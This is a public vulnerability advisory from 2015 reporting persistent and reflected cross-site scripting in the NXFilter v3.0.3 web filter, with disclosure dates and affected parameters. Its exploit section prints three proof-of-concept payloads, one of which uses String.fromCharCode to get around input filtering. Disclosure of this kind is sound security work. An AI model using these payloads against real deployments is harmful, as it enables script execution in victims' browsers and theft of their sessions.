[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/AS-NXFILTER-XSS.txt



Vendor:
================================
www.nxfilter.org/p2/



Product:
================================
NXFilter v3.0.3



Vulnerability Type:
=========================
Persistent & Reflected XSS



CVE Reference:
==============
N/A




Vulnerability Details:
=====================
Persistent & reflected XSS entry points exist allowing arbitrary client
side browser code execution
on victims who click our infected linx or visit persistently stored XSS
payloads. XSS strings seem
to get filtered, yet we can defeat that using JS String.fromCharCode()
functions.



Exploit code(s):
===============

1) persistent XSS under category / custom
   "name" parameter is vulnerable to persistent XSS injection using POST
method.

http://localhost/category,custom.jsp
<input type="text" name="description" value="<script>alert(666)</script>"
size="50">


2) reflected XSS

http://localhost/classifier,ruleset.jsp?action_flag=&page=1&kw=%22/%3E%3Cscript%3Ealert%28666%29%3C/script%3E&id=&domain=&keyword=&points=



3) reflected XSS

http://localhost/report,daily.jsp?stime=2015%2F10%2F17&time_option=yesterday&user=%22/%3E%3Cscript%3Ealert%28String.fromCharCode%2872%29%2bString.fromCharCode%2869%29%2bString.fromCharCode%2876%29%2bString.fromCharCode%2876%29%29%3C/script%3E




Disclosure Timeline:
=======================================
Vendor Notification:  October 18, 2015
November 5, 2015 : Public Disclosure




Exploitation Technique:
=======================
Remote



Severity Level:
===================================================
High



Description:
==================================================
Request Method(s):              [+] GET / POST


Vulnerable Product:             [+] NXFilter v3.0.3


Vulnerable Parameter(s):        [+] name, user, kw



===========================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.

by hyp3rlinx